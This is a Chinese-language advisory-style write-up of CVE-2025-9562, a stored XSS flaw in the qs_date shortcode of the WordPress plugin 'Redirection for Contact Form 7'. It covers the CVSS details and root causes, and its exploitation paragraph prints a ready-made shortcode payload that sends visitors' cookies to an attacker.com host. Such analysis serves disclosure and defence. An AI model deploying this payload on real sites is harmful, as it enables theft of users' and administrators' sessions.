CVE-2025-9562CVE-2025-9562是WordPress平台上一款名为"Redirection for Contact Form 7"（wpcf7-redirect）的流行插件中存在的存储型跨站脚本（Stored XSS）漏洞。该插件主要用于在Contact Form 7表单提交后进行页面重定向和自定义操作管理，安装量较大，在WordPress生态系统中被广泛使用。该漏洞由WordPress安全团队Wordfence的安全研究员发现并报告，CVSS评分为6.4分，属于中危级别。
该漏洞存在于插件的qs_date短代码（shortcode）功能中，由于插件对用户提供的短代码属性参数缺乏充分的输入清理（input sanitization）和输出转义（output escaping）处理，导致恶意攻击者可以在短代码属性中注入任意JavaScript脚本代码。这些被注入的恶意脚本会作为页面内容的一部分被持久化存储到WordPress数据库中，每当有用户访问包含该短代码的页面时，恶意脚本就会自动执行，从而实现对受害者的攻击。
根据CVSS向量分析，该漏洞的攻击向量为网络（AV:N），攻击复杂度低（AC:L），需要低权限认证（PR:L），无需用户交互（UI:N），作用域发生变化（S:C），对机密性和完整性有低影响，对可用性无影响。这意味着该漏洞虽然需要认证才能利用，但利用门槛较低，攻击者仅需获取贡献者级别（Contributor）及以上的WordPress账号权限即可发起攻击。
该漏洞的核心问题在于WordPress插件"Redirection for Contact Form 7"的qs_date短代码实现中，对用户输入的属性参数没有进行充分的过滤和转义处理。
短代码（Shortcode）是WordPress中一种常用的内容嵌入机制，允许用户在文章、页面中通过方括号包围的标签（如[shortcode attr="value"]）来调用插件提供的功能。在该插件的qs_date短代码中，插件会解析用户传入的属性值并将其用于日期格式化或其他动态内容的渲染。
漏洞的根本原因在于：
1. 输入验证不足：插件在注册qs_date短代码时，未对用户传入的属性值进行严格的类型检查和内容过滤，允许包含HTML标签和JavaScript代码的属性值被直接处理。
2. 输出转义缺失：当短代码的输出内容被渲染到页面时，插件未使用WordPress标准的转义函数（如esc_html、esc_attr、esc_js等）对输出进行适当的编码，导致恶意脚本以原始形式输出到浏览器。
利用方式：拥有Contributor（贡献者）级别及以上权限的攻击者可以创建或编辑文章/页面，在其中插入类似以下的恶意短代码：[qs_date malicious_attr="<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>" format="Y-m-d"]。当该文章被发布后，恶意脚本将被存储到WordPress数据库中。之后，任何访问该页面的用户（包括管理员）都会执行该恶意脚本，攻击者可借此窃取用户会话Cookie、进行钓鱼攻击、劫持用户账户或执行其他恶意操作。
由于该漏洞需要Contributor级别权限才能利用，攻击者通常需要先通过注册新账号或其他方式获取基础权限，然后利用该漏洞提升攻击影响范围。